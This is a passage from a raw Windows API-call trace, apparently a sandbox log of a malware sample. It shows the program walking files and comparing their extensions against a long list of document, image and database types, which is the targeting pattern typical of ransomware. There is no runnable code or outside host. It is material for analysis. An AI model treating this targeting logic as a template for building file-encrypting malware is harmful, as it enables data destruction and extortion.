pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.404] VarBstrCmp (bstrLeft=".ini", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.404] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.404] VarBstrCmp (bstrLeft=".ini", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.404] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.404] VarBstrCmp (bstrLeft=".ini", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.404] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.405] VarBstrCmp (bstrLeft="p.ini", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.405] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.405] VarBstrCmp (bstrLeft="p.ini", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.405] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.405] VarBstrCmp (bstrLeft=".ini", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.405] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.405] VarBstrCmp (bstrLeft="sktop.ini", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.405] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.406] VarBstrCmp (bstrLeft=".ini", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.406] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.406] VarBstrCmp (bstrLeft=".ini", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.406] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.406] VarBstrCmp (bstrLeft=".ini", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.406] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.406] VarBstrCmp (bstrLeft=".ini", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.406] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.407] VarBstrCmp (bstrLeft=".ini", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.407] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.407] VarBstrCmp (bstrLeft=".ini", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.407] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.407] VarBstrCmp (bstrLeft=".ini", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.407] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.407] VarBstrCmp (bstrLeft=".ini", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.407] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.408] VarBstrCmp (bstrLeft=".ini", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.408] VarBstrCmp (bstrLeft=".ini", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.408] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.409] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.410] lstrcpynW (in: lpString1=0x14b46bc, lpString2="Indexed Locations.search-ms", iMaxLength=28 | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms" [0120.410] GetLastError () returned 0x0 [0120.410] VarBstrCmp (bstrLeft="search-ms", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.410] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.411] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.412] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.413] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.414] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.415] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.416] lstrcpynW (in: lpString1=0x14b4794, lpString2="Everywhere.search-ms", iMaxLength=21 | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms" [0120.416] GetLastError () returned 0x0 [0120.417] VarBstrCmp (bstrLeft="search-ms", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.417] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.418] lstrcpynW (in: lpString1=0x14da79c, lpString2="NTUSER.DATP", iMaxLength=11 | out: lpString1="NTUSER.DAT") returned="NTUSER.DAT" [0120.418] GetLastError () returned 0x0 [0120.418] VarBstrCmp (bstrLeft="TUSER.DAT", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.418] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.418] GetTickCount () returned 0x1150c7f [0120.418] GetTickCount () returned 0x1150c7f [0120.419] GetTickCount () returned 0x1150c7f [0120.419] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.419] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.419] GetTickCount () returned 0x1150c7f [0120.419] IsWindowVisible (hWnd=0x30268) returned 0 [0120.419] Sleep (dwMilliseconds=0x0) [0120.425] lstrcpynW (in: lpString1=0x14b46bc, lpString2="energy-report-latest.xml", iMaxLength=25 | out: lpString1="energy-report-latest.xml") returned="energy-report-latest.xml" [0120.425] GetLastError () returned 0x0 [0120.425] VarBstrCmp (bstrLeft="atest.xml", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.425] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ɵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.426] GetLastError () returned 0x0 [0120.426] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.427] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.427] GetLastError () returned 0x0 [0120.427] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics", iMaxLength=60 | out: lpString1="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0120.427] GetLastError () returned 0x0 [0120.427] CloseHandle (hObject=0x2c4) returned 1 [0120.427] GetLastError () returned 0x0 [0120.427] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.427] 